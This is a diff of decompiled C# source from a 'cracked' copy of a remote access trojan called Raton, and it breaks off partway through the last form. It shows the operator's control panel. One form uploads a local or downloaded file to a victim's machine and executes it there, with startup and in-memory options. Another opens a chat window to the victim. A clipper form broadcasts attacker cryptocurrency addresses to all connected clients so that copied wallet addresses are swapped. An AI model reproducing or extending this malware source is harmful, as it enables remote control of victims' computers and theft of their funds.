// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net.Http;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonUpload : Form
|
||||
{
|
||||
public bool inMemory;
|
||||
public bool isUpdate;
|
||||
public bool isStartup;
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private PictureBox pictureBox1;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private Label label3;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
|
||||
public string link { get; set; }
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonUpload()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonUpload_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
if (this.link == null)
|
||||
return;
|
||||
this.button1.Enabled = false;
|
||||
this.button1.Text = "Link choosen";
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
openFileDialog.Filter = "All files (*.*)|*.*";
|
||||
openFileDialog.Title = "Select a file";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
this.SetFile(openFileDialog.FileName);
|
||||
}
|
||||
}
|
||||
|
||||
private void SetFile(string path)
|
||||
{
|
||||
if (!File.Exists(path))
|
||||
return;
|
||||
FileInfo fileInfo = new FileInfo(path);
|
||||
long length = fileInfo.Length;
|
||||
string str = length >= 1048576L /*0x100000*/ ? $"{(ValueType) (float) ((double) length / 1024.0 / 1024.0):F2}MB" : (length >= 1024L /*0x0400*/ ? $"{(ValueType) (float) ((double) length / 1024.0):F2}KB" : $"{length}B");
|
||||
this.label3.Text = path;
|
||||
this.label1.Text = fileInfo.Name;
|
||||
this.label2.Text = "Size: " + str;
|
||||
try
|
||||
{
|
||||
using (Icon associatedIcon = Icon.ExtractAssociatedIcon(path))
|
||||
this.pictureBox1.BackgroundImage = (Image) associatedIcon.ToBitmap();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private async void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
string path = this.label3.Text;
|
||||
Uri result;
|
||||
if (!string.IsNullOrWhiteSpace(this.link) && Uri.TryCreate(this.link, UriKind.Absolute, out result) && (result.Scheme == Uri.UriSchemeHttp || result.Scheme == Uri.UriSchemeHttps))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] byteArrayAsync = await new HttpClient().GetByteArrayAsync(this.link);
|
||||
string path1 = Path.Combine(Path.GetTempPath(), Path.GetFileName(this.link));
|
||||
File.WriteAllBytes(path1, byteArrayAsync);
|
||||
path = path1;
|
||||
this.SetFile(path1);
|
||||
}
|
||||
catch
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Can't download from that link", "Error", icon: MessageBoxIcon.Hand);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("File not found", "404", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
string fileName = Path.GetFileName(path);
|
||||
if (this.inMemory && !string.Equals(Path.GetExtension(fileName), ".exe", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
int num2 = (int) Messenger.MessageBox("The file isn't a .exe", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
string Duid = "RatonFile_" + Helpers.Random(7);
|
||||
long fileSize = new FileInfo(path).Length;
|
||||
ratonFIle fileForm = (ratonFIle) Application.OpenForms["File ID: " + Duid];
|
||||
if (fileForm == null)
|
||||
{
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = "File ID: " + Duid;
|
||||
ratonFile.Text = "File ID: " + Duid;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.UID = this.SillyClient.uid;
|
||||
ratonFile.FileName = fileName;
|
||||
ratonFile.FileSize = fileSize;
|
||||
fileForm = ratonFile;
|
||||
fileForm.Show();
|
||||
}
|
||||
await Task.Run((Func<Task>) (async () =>
|
||||
{
|
||||
int num3 = 1;
|
||||
if (fileSize < 1048576L /*0x100000*/)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetBool("isUpdate", this.isUpdate);
|
||||
pack.SetBool("isStartup", this.isStartup);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num3.ToString())));
|
||||
pack.Set("FileBytes", File.ReadAllBytes(path));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += fileSize;
|
||||
}
|
||||
else
|
||||
{
|
||||
Stream stream = (Stream) File.OpenRead(path);
|
||||
byte[] buffer = new byte[1048576 /*0x100000*/];
|
||||
long length = fileSize;
|
||||
int num4;
|
||||
while ((num4 = stream.Read(buffer, 0, buffer.Length)) > 0 && this.SillyClient.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetBool("isUpdate", this.isUpdate);
|
||||
pack.SetBool("isStartup", this.isStartup);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num3++.ToString())));
|
||||
pack.Set("FileBytes", buffer);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += (long) buffer.Length;
|
||||
length -= (long) num4;
|
||||
if (length < 1048576L /*0x100000*/)
|
||||
buffer = new byte[length];
|
||||
}
|
||||
}
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
|
||||
pack1.SetString("DUID", Duid);
|
||||
pack1.SetBool("isCompleted", true);
|
||||
pack1.SetString("FileName", fileName);
|
||||
pack1.SetLong("FileSize", fileSize);
|
||||
pack1.SetString("FilePath", "TempClient");
|
||||
pack1.SetBool("Execute", true);
|
||||
pack1.SetBool("isUpdate", this.isUpdate);
|
||||
pack1.SetBool("isStartup", this.isStartup);
|
||||
pack1.SetInt("TempCount", num3);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
await Task.Delay(2000);
|
||||
if (this.IsDisposed || !this.IsHandleCreated)
|
||||
return;
|
||||
this.BeginInvoke((Delegate) (() =>
|
||||
{
|
||||
if (fileForm == null || fileForm.IsDisposed || !fileForm.IsHandleCreated)
|
||||
return;
|
||||
fileForm.flatProgressBar1.Value = 100;
|
||||
fileForm.timer2.Stop();
|
||||
fileForm.Status("File uploaded successfully");
|
||||
}));
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonUpload));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.label3 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.pictureBox1.BackgroundImage = (Image) Resources.RATA;
|
||||
this.pictureBox1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.pictureBox1.Location = new Point(13, 13);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(53, 53);
|
||||
this.pictureBox1.TabIndex = 0;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(71, 13);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(78, 19);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "File name";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(72, 32 /*0x20*/);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(51, 16 /*0x10*/);
|
||||
this.label2.TabIndex = 2;
|
||||
this.label2.Text = "Size: 0B";
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(72, 52);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(26, 14);
|
||||
this.label3.TabIndex = 3;
|
||||
this.label3.Text = "path";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_add_circle_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(13, 73);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(414, 36);
|
||||
this.button1.TabIndex = 4;
|
||||
this.button1.Text = "Select your file";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_vehicle_truck_profile_24_filled;
|
||||
this.button2.IconSize = 25;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(13, 115);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(414, 37);
|
||||
this.button2.TabIndex = 5;
|
||||
this.button2.Text = "Execute";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.AutoScaleDimensions = new SizeF(5f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(439, 172);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.pictureBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2, 3, 2, 3);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonUpload);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonUpload);
|
||||
this.Load += new EventHandler(this.ratonUpload_Load);
|
||||
((ISupportInitialize) this.pictureBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,69 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.RatonPI
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class RatonPI : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public TextBox textBox1;
|
||||
|
||||
public RatonPI()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void RatonPI_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (RatonPI));
|
||||
this.textBox1 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.BorderStyle = BorderStyle.None;
|
||||
this.textBox1.Dock = DockStyle.Fill;
|
||||
this.textBox1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox1.Location = new Point(0, 0);
|
||||
this.textBox1.Margin = new Padding(4);
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ReadOnly = true;
|
||||
this.textBox1.Size = new Size(485, 241);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(485, 241);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(4);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (RatonPI);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (RatonPI);
|
||||
this.Load += new EventHandler(this.RatonPI_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,153 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonChat
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonChat : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader1;
|
||||
private Timer timer1;
|
||||
private TextBox textBox1;
|
||||
public ImageList imageList1;
|
||||
public AeroListView aeroListView1;
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonChat()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonChat_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private static byte[] ImageToByteArray(Image image)
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
image.Save((Stream) memoryStream, ImageFormat.Png);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonChat_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "CloseChat");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void textBox1_Enter(object sender, EventArgs e) => this.textBox1.Clear();
|
||||
|
||||
private void textBox1_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyCode != Keys.Return)
|
||||
return;
|
||||
byte[] byteArray = ratonChat.ImageToByteArray(this.imageList1.Images[1]);
|
||||
ListViewItem listViewItem = new ListViewItem($"[{this.Username}]: {this.textBox1.Text}");
|
||||
listViewItem.ImageIndex = 1;
|
||||
this.aeroListView1.Items.Add(listViewItem);
|
||||
listViewItem.EnsureVisible();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ChatMessage");
|
||||
pack.Set("img", byteArray);
|
||||
pack.SetString("Message", $"[{this.Username}]: {this.textBox1.Text}");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
e.SuppressKeyPress = true;
|
||||
this.textBox1.Clear();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonChat));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new TextBox();
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.SuspendLayout();
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "uservro.jpg");
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Dock = DockStyle.Bottom;
|
||||
this.textBox1.Location = new Point(0, 469);
|
||||
this.textBox1.MaxLength = 280;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(717, 21);
|
||||
this.textBox1.TabIndex = 1;
|
||||
this.textBox1.Text = "Click here to type a message, then press the enter to your client";
|
||||
this.textBox1.Enter += new EventHandler(this.textBox1_Enter);
|
||||
this.textBox1.KeyDown += new KeyEventHandler(this.textBox1_KeyDown);
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[1]
|
||||
{
|
||||
this.columnHeader1
|
||||
});
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HeaderStyle = ColumnHeaderStyle.None;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(717, 490);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.columnHeader1.Text = "Username";
|
||||
this.columnHeader1.Width = 715;
|
||||
this.AutoScaleDimensions = new SizeF(7f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(717, 490);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.Font = new Font("Microsoft JhengHei UI", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ratonChat);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonChat);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonChat_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonChat_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,246 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonClipper
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonClipper : Form
|
||||
{
|
||||
public bool isListening;
|
||||
public List<SillyClient> clients;
|
||||
public string btc = "";
|
||||
public string eth = "";
|
||||
public string xmr = "";
|
||||
public string solana = "";
|
||||
public string ltc = "";
|
||||
private IContainer components;
|
||||
private TextBox textBox1;
|
||||
private TextBox textBox2;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private RgbBuildButton button1;
|
||||
private TextBox textBox3;
|
||||
private Label label3;
|
||||
private TextBox textBox4;
|
||||
private Label label4;
|
||||
private TextBox textBox5;
|
||||
private Label label5;
|
||||
|
||||
public ratonClipper()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.clients = new List<SillyClient>();
|
||||
}
|
||||
|
||||
private void ratonClipper_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isListening)
|
||||
return;
|
||||
this.button1.Text = "Stop clipper";
|
||||
}
|
||||
|
||||
private async void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
ratonClipper ratonClipper = this;
|
||||
if (string.IsNullOrWhiteSpace(ratonClipper.textBox1.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox2.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox3.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox4.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox5.Text))
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Please insert atleast an address");
|
||||
}
|
||||
else
|
||||
{
|
||||
ratonClipper.isListening = !ratonClipper.isListening;
|
||||
if (ratonClipper.isListening)
|
||||
{
|
||||
ratonClipper.btc = ratonClipper.textBox1.Text;
|
||||
ratonClipper.eth = ratonClipper.textBox2.Text;
|
||||
ratonClipper.ltc = ratonClipper.textBox3.Text;
|
||||
ratonClipper.xmr = ratonClipper.textBox4.Text;
|
||||
ratonClipper.solana = ratonClipper.textBox5.Text;
|
||||
ratonClipper.clients = Program.form2.GetClients();
|
||||
ratonClipper.Text = $"Clipper activated on {ratonClipper.clients.Count.ToString()} clients";
|
||||
ratonClipper.button1.Text = "Stop clipper";
|
||||
Program.form2.isClipping = true;
|
||||
await Task.Run((Action) (() =>
|
||||
{
|
||||
foreach (SillyClient client in ratonClipper.clients)
|
||||
{
|
||||
if (client.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Clipper");
|
||||
pack.SetString("BTC", ratonClipper.btc);
|
||||
pack.SetString("ETH", ratonClipper.eth);
|
||||
pack.SetString("LTC", ratonClipper.ltc);
|
||||
pack.SetString("XMR", ratonClipper.xmr);
|
||||
pack.SetString("SOLANA", ratonClipper.solana);
|
||||
client.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
else
|
||||
{
|
||||
ratonClipper.button1.Text = "Start clipper";
|
||||
ratonClipper.Text = "Clipper";
|
||||
Program.form2.isClipping = false;
|
||||
foreach (SillyClient client in ratonClipper.clients)
|
||||
{
|
||||
if (client.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Clipper");
|
||||
pack.SetString("BTC", ratonClipper.textBox1.Text);
|
||||
pack.SetString("ETH", ratonClipper.textBox2.Text);
|
||||
pack.SetString("LTC", ratonClipper.textBox3.Text);
|
||||
pack.SetString("XMR", ratonClipper.textBox4.Text);
|
||||
pack.SetString("SOLANA", ratonClipper.textBox5.Text);
|
||||
client.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonClipper_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
e.Cancel = true;
|
||||
this.Visible = false;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonClipper));
|
||||
this.textBox1 = new TextBox();
|
||||
this.textBox2 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.textBox3 = new TextBox();
|
||||
this.label3 = new Label();
|
||||
this.textBox4 = new TextBox();
|
||||
this.label4 = new Label();
|
||||
this.textBox5 = new TextBox();
|
||||
this.label5 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox1.Location = new Point(12, 29);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(514, 23);
|
||||
this.textBox1.TabIndex = 1;
|
||||
this.textBox2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox2.Location = new Point(12, 75);
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(514, 23);
|
||||
this.textBox2.TabIndex = 2;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(99, 17);
|
||||
this.label1.TabIndex = 3;
|
||||
this.label1.Text = "Bitcoin address";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(12, 55);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(82, 17);
|
||||
this.label2.TabIndex = 4;
|
||||
this.label2.Text = "ETH address";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_person_money_24_filled;
|
||||
this.button1.IconSize = 24;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(12, 254);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(514, 46);
|
||||
this.button1.TabIndex = 5;
|
||||
this.button1.Text = "Start clipper";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.textBox3.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox3.Location = new Point(12, 121);
|
||||
this.textBox3.Name = "textBox3";
|
||||
this.textBox3.Size = new Size(514, 23);
|
||||
this.textBox3.TabIndex = 6;
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(12, 101);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(81, 17);
|
||||
